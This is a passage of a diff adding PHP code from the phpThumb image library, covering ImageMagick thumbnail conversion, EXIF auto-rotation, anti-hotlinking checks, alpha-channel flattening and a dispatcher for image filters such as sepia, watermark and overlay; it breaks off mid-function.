+				$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__, __LINE__);
+				$IMresult = phpthumb_functions::SafeExec($commandline);
+				clearstatcache();
+				if (@$IMtempSourceFilename && file_exists($IMtempSourceFilename)) {
+					$this->DebugMessage('deleting "'.$IMtempSourceFilename.'"', __FILE__, __LINE__);
+					@unlink($IMtempSourceFilename);
+				}
+				if (!@file_exists($IMtempfilename) || !@filesize($IMtempfilename)) {
+					$this->FatalError('ImageMagick failed with message ('.trim($IMresult).')');
+					$this->DebugMessage('ImageMagick failed with message ('.trim($IMresult).')', __FILE__, __LINE__);
+					if ($this->iswindows && !$IMresult) {
+						$this->DebugMessage('Check to make sure that PHP has read+write permissions to "'.dirname($IMtempfilename).'"', __FILE__, __LINE__);
+					}
+
+				} else {
+
+					foreach ($successfullyProcessedFilters as $dummy => $filterkey) {
+						unset($this->fltr[$filterkey]);
+					}
+					$this->IMresizedData = file_get_contents($IMtempfilename);
+					$getimagesize_imresized = @GetImageSize($IMtempfilename);
+					$this->DebugMessage('GetImageSize('.$IMtempfilename.') returned [w='.$getimagesize_imresized[0].';h='.$getimagesize_imresized[1].';f='.$getimagesize_imresized[2].']', __FILE__, __LINE__);
+					if (($this->config_max_source_pixels > 0) && (($getimagesize_imresized[0] * $getimagesize_imresized[1]) > $this->config_max_source_pixels)) {
+						$this->DebugMessage('skipping ImageMagickThumbnailToGD::'.$ImageCreateFunction.'() because IM output is too large ('.$getimagesize_imresized[0].'x'.$getimagesize_imresized[0].' = '.($getimagesize_imresized[0] * $getimagesize_imresized[1]).' > '.$this->config_max_source_pixels.')', __FILE__, __LINE__);
+					} elseif (function_exists(@$ImageCreateFunction) && ($this->gdimg_source = @$ImageCreateFunction($IMtempfilename))) {
+						$this->source_width  = ImageSX($this->gdimg_source);
+						$this->source_height = ImageSY($this->gdimg_source);
+						$this->DebugMessage('ImageMagickThumbnailToGD::'.$ImageCreateFunction.'() succeeded, $this->gdimg_source is now ('.$this->source_width.'x'.$this->source_height.')', __FILE__, __LINE__);
+						$this->DebugMessage('ImageMagickThumbnailToGD() returning $this->IMresizedData ('.strlen($this->IMresizedData).' bytes)', __FILE__, __LINE__);
+					} else {
+						$this->useRawIMoutput = true;
+						$this->DebugMessage('$this->useRawIMoutput set to TRUE because '.@$ImageCreateFunction.'('.$IMtempfilename.') failed', __FILE__, __LINE__);
+					}
+					$this->DebugMessage('deleting "'.$IMtempfilename.'"', __FILE__, __LINE__);
+					@unlink($IMtempfilename);
+					return true;
+
+				}
+				$this->DebugMessage('deleting "'.$IMtempfilename.'"', __FILE__, __LINE__);
+				unlink($IMtempfilename);
+
+			} elseif (ini_get('safe_mode')) {
+				$this->DebugMessage('ImageMagickThumbnailToGD() aborting because PHP safe_mode is enabled and phpThumb_tempnam() failed', __FILE__, __LINE__);
+				$this->useRawIMoutput = false;
+			} else {
+				$this->DebugMessage('ImageMagickThumbnailToGD() aborting, phpThumb_tempnam() failed', __FILE__, __LINE__);
+			}
+		} else {
+			$this->DebugMessage('ImageMagickThumbnailToGD() aborting because ImageMagickCommandlineBase() failed', __FILE__, __LINE__);
+		}
+		$this->useRawIMoutput = false;
+		return false;
+	}
+
+
+	function Rotate() {
+		if ($this->ra || $this->ar) {
+			if (!function_exists('ImageRotate')) {
+				$this->DebugMessage('!function_exists(ImageRotate)', __FILE__, __LINE__);
+				return false;
+			}
+			if (!include_once(dirname(__FILE__).'/phpthumb.filters.php')) {
+				$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.filters.php" which is required for applying filters ('.implode(';', $this->fltr).')', __FILE__, __LINE__);
+				return false;
+			}
+
+			$this->config_background_hexcolor = ($this->bg ? $this->bg : $this->config_background_hexcolor);
+			if (!phpthumb_functions::IsHexColor($this->config_background_hexcolor)) {
+				return $this->ErrorImage('Invalid hex color string "'.$this->config_background_hexcolor.'" for parameter "bg"');
+			}
+
+			$rotate_angle = 0;
+			if ($this->ra) {
+
+				$rotate_angle = floatval($this->ra);
+
+			} else {
+
+				if ($this->ar == 'x') {
+					if (phpthumb_functions::version_compare_replacement(phpversion(), '4.2.0', '>=')) {
+						if ($this->sourceFilename) {
+							if (function_exists('exif_read_data')) {
+								if ($exif_data = @exif_read_data($this->sourceFilename, 'IFD0')) {
+									// http://sylvana.net/jpegcrop/exif_orientation.html
+									switch (@$exif_data['Orientation']) {
+										case 1:
+											$rotate_angle = 0;
+											break;
+										case 3:
+											$rotate_angle = 180;
+											break;
+										case 6:
+											$rotate_angle = 270;
+											break;
+										case 8:
+											$rotate_angle = 90;
+											break;
+
+										default:
+											$this->DebugMessage('EXIF auto-rotate failed because unknown $exif_data[Orientation] "'.@$exif_data['Orientation'].'"', __FILE__, __LINE__);
+											return false;
+											break;
+									}
+									$this->DebugMessage('EXIF auto-rotate set to '.$rotate_angle.' degrees ($exif_data[Orientation] = "'.@$exif_data['Orientation'].'")', __FILE__, __LINE__);
+								} else {
+									$this->DebugMessage('failed: exif_read_data('.$this->sourceFilename.')', __FILE__, __LINE__);
+									return false;
+								}
+							} else {
+								$this->DebugMessage('!function_exists(exif_read_data)', __FILE__, __LINE__);
+								return false;
+							}
+						} else {
+							$this->DebugMessage('Cannot auto-rotate from EXIF data because $this->sourceFilename is empty', __FILE__, __LINE__);
+							return false;
+						}
+					} else {
+						$this->DebugMessage('Cannot auto-rotate from EXIF data because PHP is less than v4.2.0 ('.phpversion().')', __FILE__, __LINE__);
+						return false;
+					}
+				} elseif (($this->ar == 'l') && ($this->source_height > $this->source_width)) {
+					$rotate_angle = 270;
+				} elseif (($this->ar == 'L') && ($this->source_height > $this->source_width)) {
+					$rotate_angle = 90;
+				} elseif (($this->ar == 'p') && ($this->source_width > $this->source_height)) {
+					$rotate_angle = 90;
+				} elseif (($this->ar == 'P') && ($this->source_width > $this->source_height)) {
+					$rotate_angle = 270;
+				}
+
+			}
+			if ($rotate_angle % 90) {
+				$this->is_alpha = true;
+			}
+			phpthumb_filters::ImprovedImageRotate($this->gdimg_source, $rotate_angle, $this->config_background_hexcolor, $this->bg);
+			$this->source_width  = ImageSX($this->gdimg_source);
+			$this->source_height = ImageSY($this->gdimg_source);
+		}
+		return true;
+	}
+
+
+	function FixedAspectRatio() {
+		// optional fixed-dimension images (regardless of aspect ratio)
+
+		if (!$this->far) {
+			// do nothing
+			return true;
+		}
+
+		if (!$this->w || !$this->h) {
+			return false;
+		}
+		$this->thumbnail_width  = $this->w;
+		$this->thumbnail_height = $this->h;
+		$this->is_alpha = true;
+		if ($this->thumbnail_image_width >= $this->thumbnail_width) {
+
+			if ($this->w) {
+				$aspectratio = $this->thumbnail_image_height / $this->thumbnail_image_width;
+				$this->thumbnail_image_height = round($this->thumbnail_image_width * $aspectratio);
+				$this->thumbnail_height = ($this->h ? $this->h : $this->thumbnail_image_height);
+			} elseif ($this->thumbnail_image_height < $this->thumbnail_height) {
+				$this->thumbnail_image_height = $this->thumbnail_height;
+				$this->thumbnail_image_width  = round($this->thumbnail_image_height / $aspectratio);
+			}
+
+		} else {
+			if ($this->h) {
+				$aspectratio = $this->thumbnail_image_width / $this->thumbnail_image_height;
+				$this->thumbnail_image_width = round($this->thumbnail_image_height * $aspectratio);
+			} elseif ($this->thumbnail_image_width < $this->thumbnail_width) {
+				$this->thumbnail_image_width = $this->thumbnail_width;
+				$this->thumbnail_image_height  = round($this->thumbnail_image_width / $aspectratio);
+			}
+
+		}
+		return true;
+	}
+
+
+	function OffsiteDomainIsAllowed($hostname, $allowed_domains) {
+		static $domain_is_allowed = array();
+		$hostname = strtolower($hostname);
+		if (!isset($domain_is_allowed[$hostname])) {
+			$domain_is_allowed[$hostname] = false;
+			foreach ($allowed_domains as $valid_domain) {
+				$starpos = strpos($valid_domain, '*');
+				if ($starpos !== false) {
+					$valid_domain = substr($valid_domain, $starpos + 1);
+					if (eregi($valid_domain.'$', $hostname)) {
+						$domain_is_allowed[$hostname] = true;
+						break;
+					}
+				} else {
+					if (strtolower($valid_domain) === $hostname) {
+						$domain_is_allowed[$hostname] = true;
+						break;
+					}
+				}
+			}
+		}
+		return $domain_is_allowed[$hostname];
+	}
+
+
+	function AntiOffsiteLinking() {
+		// Optional anti-offsite hijacking of the thumbnail script
+		$allow = true;
+		if ($allow && $this->config_nooffsitelink_enabled && (@$_SERVER['HTTP_REFERER'] || $this->config_nooffsitelink_require_refer)) {
+			$this->DebugMessage('AntiOffsiteLinking() checking $_SERVER[HTTP_REFERER] "'.@$_SERVER['HTTP_REFERER'].'"', __FILE__, __LINE__);
+			foreach ($this->config_nooffsitelink_valid_domains as $key => $valid_domain) {
+				// $_SERVER['HTTP_HOST'] contains the port number, so strip it out here to make default configuration work
+				list($clean_domain) = explode(':', $valid_domain);
+				$this->config_nooffsitelink_valid_domains[$key] = $clean_domain;
+			}
+			$parsed_url = phpthumb_functions::ParseURLbetter(@$_SERVER['HTTP_REFERER']);
+			if (!$this->OffsiteDomainIsAllowed(@$parsed_url['host'], $this->config_nooffsitelink_valid_domains)) {
+				$allow = false;
+				$erase   = $this->config_nooffsitelink_erase_image;
+				$message = $this->config_nooffsitelink_text_message;
+$this->ErrorImage('AntiOffsiteLinking() - "'.@$parsed_url['host'].'" is NOT in $this->config_nooffsitelink_valid_domains ('.implode(';', $this->config_nooffsitelink_valid_domains).')');
+exit;
+				$this->DebugMessage('AntiOffsiteLinking() - "'.@$parsed_url['host'].'" is NOT in $this->config_nooffsitelink_valid_domains ('.implode(';', $this->config_nooffsitelink_valid_domains).')', __FILE__, __LINE__);
+			} else {
+				$this->DebugMessage('AntiOffsiteLinking() - "'.@$parsed_url['host'].'" is in $this->config_nooffsitelink_valid_domains ('.implode(';', $this->config_nooffsitelink_valid_domains).')', __FILE__, __LINE__);
+			}
+		}
+
+		if ($allow && $this->config_nohotlink_enabled && eregi('^(f|ht)tps?\://', $this->src)) {
+			$parsed_url = phpthumb_functions::ParseURLbetter($this->src);
+			//if (!phpthumb_functions::CaseInsensitiveInArray(@$parsed_url['host'], $this->config_nohotlink_valid_domains)) {
+			if ($this->OffsiteDomainIsAllowed(@$parsed_url['host'], $this->config_nohotlink_valid_domains)) {
+				// This domain is not allowed
+				$allow = false;
+				$erase   = $this->config_nohotlink_erase_image;
+				$message = $this->config_nohotlink_text_message;
+				$this->DebugMessage('AntiOffsiteLinking() - "'.$parsed_url['host'].'" is NOT in $this->config_nohotlink_valid_domains ('.implode(';', $this->config_nohotlink_valid_domains).')', __FILE__, __LINE__);
+			} else {
+				$this->DebugMessage('AntiOffsiteLinking() - "'.$parsed_url['host'].'" is in $this->config_nohotlink_valid_domains ('.implode(';', $this->config_nohotlink_valid_domains).')', __FILE__, __LINE__);
+			}
+		}
+
+		if ($allow) {
+			$this->DebugMessage('AntiOffsiteLinking() says this is allowed', __FILE__, __LINE__);
+			return true;
+		}
+
+		if (!phpthumb_functions::IsHexColor($this->config_error_bgcolor)) {
+			return $this->ErrorImage('Invalid hex color string "'.$this->config_error_bgcolor.'" for $this->config_error_bgcolor');
+		}
+		if (!phpthumb_functions::IsHexColor($this->config_error_textcolor)) {
+			return $this->ErrorImage('Invalid hex color string "'.$this->config_error_textcolor.'" for $this->config_error_textcolor');
+		}
+		if ($erase) {
+
+			return $this->ErrorImage($message, $this->thumbnail_width, $this->thumbnail_height, $this->config_error_bgcolor, $this->config_error_textcolor, $this->config_error_fontsize);
+
+		} else {
+
+			$this->config_nooffsitelink_watermark_src = $this->ResolveFilenameToAbsolute($this->config_nooffsitelink_watermark_src);
+			if (is_file($this->config_nooffsitelink_watermark_src)) {
+
+				if (!include_once(dirname(__FILE__).'/phpthumb.filters.php')) {
+					$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.filters.php" which is required for applying watermark', __FILE__, __LINE__);
+					return false;
+				}
+				$watermark_img = $this->ImageCreateFromStringReplacement(file_get_contents($this->config_nooffsitelink_watermark_src));
+				$phpthumbFilters = new phpthumb_filters();
+				$phpthumbFilters->phpThumbObject = &$this;
+				$opacity = 50;
+				$margin  = 5;
+				$phpthumbFilters->WatermarkOverlay($this->gdimg_output, $watermark_img, '*', $opacity, $margin);
+				ImageDestroy($watermark_img);
+				unset($phpthumbFilters);
+
+			} else {
+
+				$nohotlink_text_array = explode("\n", wordwrap($message, floor($this->thumbnail_width / ImageFontWidth($this->config_error_fontsize)), "\n"));
+				$nohotlink_text_color = phpthumb_functions::ImageHexColorAllocate($this->gdimg_output, $this->config_error_textcolor);
+
+				$topoffset = round(($this->thumbnail_height - (count($nohotlink_text_array) * ImageFontHeight($this->config_error_fontsize))) / 2);
+
+				$rowcounter = 0;
+				$this->DebugMessage('AntiOffsiteLinking() writing '.count($nohotlink_text_array).' lines of text "'.$message.'" (in #'.$this->config_error_textcolor.') on top of image', __FILE__, __LINE__);
+				foreach ($nohotlink_text_array as $textline) {
+					$leftoffset = max(0, round(($this->thumbnail_width - (strlen($textline) * ImageFontWidth($this->config_error_fontsize))) / 2));
+					ImageString($this->gdimg_output, $this->config_error_fontsize, $leftoffset, $topoffset + ($rowcounter++ * ImageFontHeight($this->config_error_fontsize)), $textline, $nohotlink_text_color);
+				}
+
+			}
+
+		}
+		return true;
+	}
+
+
+	function AlphaChannelFlatten() {
+		if (!$this->is_alpha) {
+			// image doesn't have alpha transparency, no need to flatten
+			$this->DebugMessage('skipping AlphaChannelFlatten() because !$this->is_alpha', __FILE__, __LINE__);
+			return false;
+		}
+		switch ($this->thumbnailFormat) {
+			case 'png':
+			case 'ico':
+				// image has alpha transparency, but output as PNG or ICO which can handle it
+				$this->DebugMessage('skipping AlphaChannelFlatten() because ($this->thumbnailFormat == "'.$this->thumbnailFormat.'")', __FILE__, __LINE__);
+				return false;
+				break;
+
+			case 'gif':
+				// image has alpha transparency, but output as GIF which can handle only single-color transparency
+				$CurrentImageColorTransparent = ImageColorTransparent($this->gdimg_output);
+				if ($CurrentImageColorTransparent == -1) {
+					// no transparent color defined
+
+					if (phpthumb_functions::gd_version() < 2.0) {
+						$this->DebugMessage('AlphaChannelFlatten() failed because GD version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+						return false;
+					}
+
+					if ($img_alpha_mixdown_dither = @ImageCreateTrueColor(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output))) {
+
+						for ($i = 0; $i <= 255; $i++) {
+							$dither_color[$i] = ImageColorAllocate($img_alpha_mixdown_dither, $i, $i, $i);
+						}
+
+						// scan through current truecolor image copy alpha channel to temp image as grayscale
+						for ($x = 0; $x < $this->thumbnail_width; $x++) {
+							for ($y = 0; $y < $this->thumbnail_height; $y++) {
+								$PixelColor = phpthumb_functions::GetPixelColor($this->gdimg_output, $x, $y);
+								ImageSetPixel($img_alpha_mixdown_dither, $x, $y, $dither_color[($PixelColor['alpha'] * 2)]);
+							}
+						}
+
+						// dither alpha channel grayscale version down to 2 colors
+						ImageTrueColorToPalette($img_alpha_mixdown_dither, true, 2);
+
+						// reduce color palette to 256-1 colors (leave one palette position for transparent color)
+						ImageTrueColorToPalette($this->gdimg_output, true, 255);
+
+						// allocate a new color for transparent color index
+						$TransparentColor = ImageColorAllocate($this->gdimg_output, 1, 254, 253);
+						ImageColorTransparent($this->gdimg_output, $TransparentColor);
+
+						// scan through alpha channel image and note pixels with >50% transparency
+						$TransparentPixels = array();
+						for ($x = 0; $x < $this->thumbnail_width; $x++) {
+							for ($y = 0; $y < $this->thumbnail_height; $y++) {
+								$AlphaChannelPixel = phpthumb_functions::GetPixelColor($img_alpha_mixdown_dither, $x, $y);
+								if ($AlphaChannelPixel['red'] > 127) {
+									ImageSetPixel($this->gdimg_output, $x, $y, $TransparentColor);
+								}
+							}
+						}
+						ImageDestroy($img_alpha_mixdown_dither);
+
+						$this->DebugMessage('AlphaChannelFlatten() set image to 255+1 colors with transparency for GIF output', __FILE__, __LINE__);
+						return true;
+
+					} else {
+						$this->DebugMessage('AlphaChannelFlatten() failed ImageCreate('.ImageSX($this->gdimg_output).', '.ImageSY($this->gdimg_output).')', __FILE__, __LINE__);
+						return false;
+					}
+
+				} else {
+					// a single transparent color already defined, leave as-is
+					$this->DebugMessage('skipping AlphaChannelFlatten() because ($this->thumbnailFormat == "'.$this->thumbnailFormat.'") and ImageColorTransparent returned "'.$CurrentImageColorTransparent.'"', __FILE__, __LINE__);
+					return true;
+				}
+				break;
+		}
+		$this->DebugMessage('continuing AlphaChannelFlatten() for output format "'.$this->thumbnailFormat.'"', __FILE__, __LINE__);
+		// image has alpha transparency, and is being output in a format that doesn't support it -- flatten
+		if ($gdimg_flatten_temp = phpthumb_functions::ImageCreateFunction($this->thumbnail_width, $this->thumbnail_height)) {
+
+			$this->config_background_hexcolor = ($this->bg ? $this->bg : $this->config_background_hexcolor);
+			if (!phpthumb_functions::IsHexColor($this->config_background_hexcolor)) {
+				return $this->ErrorImage('Invalid hex color string "'.$this->config_background_hexcolor.'" for parameter "bg"');
+			}
+			$background_color = phpthumb_functions::ImageHexColorAllocate($this->gdimg_output, $this->config_background_hexcolor);
+			ImageFilledRectangle($gdimg_flatten_temp, 0, 0, $this->thumbnail_width, $this->thumbnail_height, $background_color);
+			ImageCopy($gdimg_flatten_temp, $this->gdimg_output, 0, 0, 0, 0, $this->thumbnail_width, $this->thumbnail_height);
+
+			ImageAlphaBlending($this->gdimg_output, true);
+			ImageSaveAlpha($this->gdimg_output, false);
+			ImageColorTransparent($this->gdimg_output, -1);
+			ImageCopy($this->gdimg_output, $gdimg_flatten_temp, 0, 0, 0, 0, $this->thumbnail_width, $this->thumbnail_height);
+
+			ImageDestroy($gdimg_flatten_temp);
+			return true;
+
+		} else {
+			$this->DebugMessage('ImageCreateFunction() failed', __FILE__, __LINE__);
+		}
+		return false;
+	}
+
+
+	function ApplyFilters() {
+		if ($this->fltr && is_array($this->fltr)) {
+			if (!include_once(dirname(__FILE__).'/phpthumb.filters.php')) {
+				$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.filters.php" which is required for applying filters ('.implode(';', $this->fltr).')', __FILE__, __LINE__);
+				return false;
+			}
+			$phpthumbFilters = new phpthumb_filters();
+			$phpthumbFilters->phpThumbObject = &$this;
+			foreach ($this->fltr as $filtercommand) {
+				@list($command, $parameter) = explode('|', $filtercommand, 2);
+				$this->DebugMessage('Attempting to process filter command "'.$command.'('.$parameter.')"', __FILE__, __LINE__);
+				switch ($command) {
+					case 'brit': // Brightness
+						$phpthumbFilters->Brightness($this->gdimg_output, $parameter);
+						break;
+
+					case 'cont': // Contrast
+						$phpthumbFilters->Contrast($this->gdimg_output, $parameter);
+						break;
+
+					case 'ds': // Desaturation
+						$phpthumbFilters->Desaturate($this->gdimg_output, $parameter, '');
+						break;
+
+					case 'sat': // Saturation
+						$phpthumbFilters->Saturation($this->gdimg_output, $parameter, '');
+						break;
+
+					case 'gray': // Grayscale
+						$phpthumbFilters->Grayscale($this->gdimg_output);
+						break;
+
+					case 'clr': // Colorize
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping Colorize() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							break;
+						}
+						@list($amount, $color) = explode('|', $parameter);
+						$phpthumbFilters->Colorize($this->gdimg_output, $amount, $color);
+						break;
+
+					case 'sep': // Sepia
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping Sepia() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							break;
+						}
+						@list($amount, $color) = explode('|', $parameter);
+						$phpthumbFilters->Sepia($this->gdimg_output, $amount, $color);
+						break;
+
+					case 'gam': // Gamma correction
+						$phpthumbFilters->Gamma($this->gdimg_output, $parameter);
+						break;
+
+					case 'neg': // Negative colors
+						$phpthumbFilters->Negative($this->gdimg_output);
+						break;
+
+					case 'th': // Threshold
+						$phpthumbFilters->Threshold($this->gdimg_output, $parameter);
+						break;
+
+					case 'rcd': // ReduceColorDepth
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping ReduceColorDepth() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							break;
+						}
+						@list($colors, $dither) = explode('|', $parameter);
+						$colors = ($colors                ?  (int) $colors : 256);
+						$dither  = ((strlen($dither) > 0) ? (bool) $dither : true);
+						$phpthumbFilters->ReduceColorDepth($this->gdimg_output, $colors, $dither);
+						break;
+
+					case 'flip': // Flip
+						$phpthumbFilters->Flip($this->gdimg_output, (strpos(strtolower($parameter), 'x') !== false), (strpos(strtolower($parameter), 'y') !== false));
+						break;
+
+					case 'edge': // EdgeDetect
+						$phpthumbFilters->EdgeDetect($this->gdimg_output);
+						break;
+
+					case 'emb': // Emboss
+						$phpthumbFilters->Emboss($this->gdimg_output);
+						break;
+
+					case 'bvl': // Bevel
+						@list($width, $color1, $color2) = explode('|', $parameter);
+						$phpthumbFilters->Bevel($this->gdimg_output, $width, $color1, $color2);
+						break;
+
+					case 'lvl': // autoLevels
+						@list($band, $method, $threshold) = explode('|', $parameter);
+						$band      = ($band ? ereg_replace('[^RGBA\\*]', '', strtoupper($band)) : '*');
+						$method    = ((strlen($method) > 0)    ? intval($method)                :   2);
+						$threshold = ((strlen($threshold) > 0) ? floatval($threshold)           : 0.1);
+
+						$phpthumbFilters->HistogramStretch($this->gdimg_output, $band, $method, $threshold);
+						break;
+
+					case 'wb': // WhiteBalance
+						$phpthumbFilters->WhiteBalance($this->gdimg_output, $parameter);
+						break;
+
+					case 'hist': // Histogram overlay
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping HistogramOverlay() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							break;
+						}
+						@list($bands, $colors, $width, $height, $alignment, $opacity, $margin_x, $margin_y) = explode('|', $parameter);
+						$bands     = ($bands     ? $bands     :  '*');
+						$colors    = ($colors    ? $colors    :   '');
+						$width     = ($width     ? $width     : 0.25);
+						$height    = ($height    ? $height    : 0.25);
+						$alignment = ($alignment ? $alignment : 'BR');
+						$opacity   = ($opacity   ? $opacity   :   50);
+						$margin_x  = ($margin_x  ? $margin_x  :    5);
+						$margin_y  = $margin_y; // just to note it wasn't forgotten, but let the value always pass unchanged
+						$phpthumbFilters->HistogramOverlay($this->gdimg_output, $bands, $colors, $width, $height, $alignment, $opacity, $margin_x, $margin_y);
+						break;
+
+					case 'fram': // Frame
+						@list($frame_width, $edge_width, $color_frame, $color1, $color2) = explode('|', $parameter);
+						$phpthumbFilters->Frame($this->gdimg_output, $frame_width, $edge_width, $color_frame, $color1, $color2);
+						break;
+
+					case 'drop': // DropShadow
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping DropShadow() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							return false;
+						}
+						$this->is_alpha = true;
+						@list($distance, $width, $color, $angle, $fade) = explode('|', $parameter);
+						$phpthumbFilters->DropShadow($this->gdimg_output, $distance, $width, $color, $angle, $fade);
+						break;
+
+					case 'mask': // Mask cropping
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping Mask() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							return false;
+						}
+						$mask_filename = $this->ResolveFilenameToAbsolute($parameter);
+						if (@is_readable($mask_filename) && ($fp_mask = @fopen($mask_filename, 'rb'))) {
+							$MaskImageData = '';
+							do {
+								$buffer = fread($fp_mask, 8192);
+								$MaskImageData .= $buffer;
+							} while (strlen($buffer) > 0);
+							fclose($fp_mask);
+							if ($gdimg_mask = $this->ImageCreateFromStringReplacement($MaskImageData)) {
+								$this->is_alpha = true;
+								$phpthumbFilters->ApplyMask($gdimg_mask, $this->gdimg_output);
+								ImageDestroy($gdimg_mask);
+							} else {
+								$this->DebugMessage('ImageCreateFromStringReplacement() failed for "'.$mask_filename.'"', __FILE__, __LINE__);
+							}
+						} else {
+							$this->DebugMessage('Cannot open mask file "'.$mask_filename.'"', __FILE__, __LINE__);
+						}
+						break;
+
+					case 'elip': // Elipse cropping
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping Elipse() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							return false;
+						}
+						$this->is_alpha = true;
+						$phpthumbFilters->Elipse($this->gdimg_output);
+						break;
+
+					case 'ric': // RoundedImageCorners
+						if (phpthumb_functions::gd_version() < 2) {
+							$this->DebugMessage('Skipping RoundedImageCorners() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							return false;
+						}
+						@list($radius_x, $radius_y) = explode('|', $parameter);
+						if (($radius_x < 1) || ($radius_y < 1)) {
+							$this->DebugMessage('Skipping RoundedImageCorners('.$radius_x.', '.$radius_y.') because x/y radius is less than 1', __FILE__, __LINE__);
+							break;
+						}
+						$this->is_alpha = true;
+						$phpthumbFilters->RoundedImageCorners($this->gdimg_output, $radius_x, $radius_y);
+						break;
+
+					case 'crop': // Crop
+						@list($left, $right, $top, $bottom) = explode('|', $parameter);
+						$phpthumbFilters->Crop($this->gdimg_output, $left, $right, $top, $bottom);
+						break;
+
+					case 'bord': // Border
+						@list($border_width, $radius_x, $radius_y, $hexcolor_border) = explode('|', $parameter);
+						$this->is_alpha = true;
+						$phpthumbFilters->ImageBorder($this->gdimg_output, $border_width, $radius_x, $radius_y, $hexcolor_border);
+						break;
+
+					case 'over': // Overlay
+						@list($filename, $underlay, $margin, $opacity) = explode('|', $parameter);
+						$underlay = (bool) ($underlay              ? $underlay : false);
+						$margin   =        ((strlen($margin)  > 0) ? $margin   : ($underlay ? 0.1 : 0.0));
+						$opacity  =        ((strlen($opacity) > 0) ? $opacity  : 100);
+						if (($margin > 0) && ($margin < 1)) {
+							$margin = min(0.499, $margin);
+						} elseif (($margin > -1) && ($margin < 0)) {
+							$margin = max(-0.499, $margin);
+						}
+
+						$filename = $this->ResolveFilenameToAbsolute($filename);
+						if (@is_readable($filename) && ($fp_watermark = @fopen($filename, 'rb'))) {
+							$WatermarkImageData = '';
+							do {
+								$buffer = fread($fp_watermark, 8192);
+								$WatermarkImageData .= $buffer;
+							} while (strlen($buffer) > 0);
+							fclose($fp_watermark);
+							if ($img_watermark = $this->ImageCreateFromStringReplacement($WatermarkImageData)) {
+								if ($margin < 1) {
+									$resized_x = max(1, ImageSX($this->gdimg_output) - round(2 * (ImageSX($this->gdimg_output) * $margin)));
+									$resized_y = max(1, ImageSY($this->gdimg_output) - round(2 * (ImageSY($this->gdimg_output) * $margin)));
+								} else {
+									$resized_x = max(1, ImageSX($this->gdimg_output) - round(2 * $margin));
+									$resized_y = max(1, ImageSY($this->gdimg_output) - round(2 * $margin));
+								}
+
+								if ($underlay) {
+
+									if ($img_watermark_resized = phpthumb_functions::ImageCreateFunction(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output))) {
+										ImageAlphaBlending($img_watermark_resized, false);
+										ImageSaveAlpha($img_watermark_resized, true);
+										$this->ImageResizeFunction($img_watermark_resized, $img_watermark, 0, 0, 0, 0, ImageSX($img_watermark_resized), ImageSY($img_watermark_resized), ImageSX($img_watermark), ImageSY($img_watermark));
+										if ($img_source_resized = phpthumb_functions::ImageCreateFunction($resized_x, $resized_y)) {
+											ImageAlphaBlending($img_source_resized, false);
+											ImageSaveAlpha($img_source_resized, true);
+											$this->ImageResizeFunction($img_source_resized, $this->gdimg_output, 0, 0, 0, 0, ImageSX($img_source_resized), ImageSY($img_source_resized), ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
+											$phpthumbFilters->WatermarkOverlay($img_watermark_resized, $img_source_resized, 'C', $opacity, $margin);
+											ImageCopy($this->gdimg_output, $img_watermark_resized, 0, 0, 0, 0, ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
+										} else {
+											$this->DebugMessage('phpthumb_functions::ImageCreateFunction('.$resized_x.', '.$resized_y.')', __FILE__, __LINE__);
+										}
+										ImageDestroy($img_watermark_resized);
+									} else {
+										$this->DebugMessage('phpthumb_functions::ImageCreateFunction('.ImageSX($this->gdimg_output).', '.ImageSY($this->gdimg_output).')', __FILE__, __LINE__);
+									}
+
+								} else { // overlay
+
+									if ($img_watermark_resized = phpthumb_functions::ImageCreateFunction($resized_x, $resized_y)) {
+										ImageAlphaBlending($img_watermark_resized, false);
+										ImageSaveAlpha($img_watermark_resized, true);
+										$this->ImageResizeFunction($img_watermark_resized, $img_watermark, 0, 0, 0, 0, ImageSX($img_watermark_resized), ImageSY($img_watermark_resized), ImageSX($img_watermark), ImageSY($img_watermark));
+										$phpthumbFilters->WatermarkOverlay($this->gdimg_output, $img_watermark_resized, 'C', $opacity, $margin);
+										ImageDestroy($img_watermark_resized);
+									} else {
+										$this->DebugMessage('phpthumb_functions::ImageCreateFunction('.$resized_x.', '.$resized_y.')', __FILE__, __LINE__);
+									}
+
+								}
+								ImageDestroy($img_watermark);
+
+							} else {
+								$this->DebugMessage('ImageCreateFromStringReplacement() failed for "'.$filename.'"', __FILE__, __LINE__);
+							}
+						} else {
+							$this->DebugMessage('Cannot open overlay file "'.$filename.'"', __FILE__, __LINE__);
+						}
+						break;
+
+					case 'wmi': // WaterMarkImage
+						@list($filename, $alignment, $opacity, $margin['x'], $margin['y'], $rotate_angle) = explode('|', $parameter);
+						// $margin can be pixel margin or percent margin if $alignment is text, or max width/height if $alignment is position like "50x75"
+						$alignment    = ($alignment            ? $alignment            : 'BR');
+						$opacity      = (strlen($opacity)      ? intval($opacity)      : 50);
+						$rotate_angle = (strlen($rotate_angle) ? intval($rotate_angle) : 0);
+						if (!eregi('^([0-9\\.\\-]*)x([0-9\\.\\-]*)$', $alignment, $matches)) {
+							$margins = array('x', 'y');
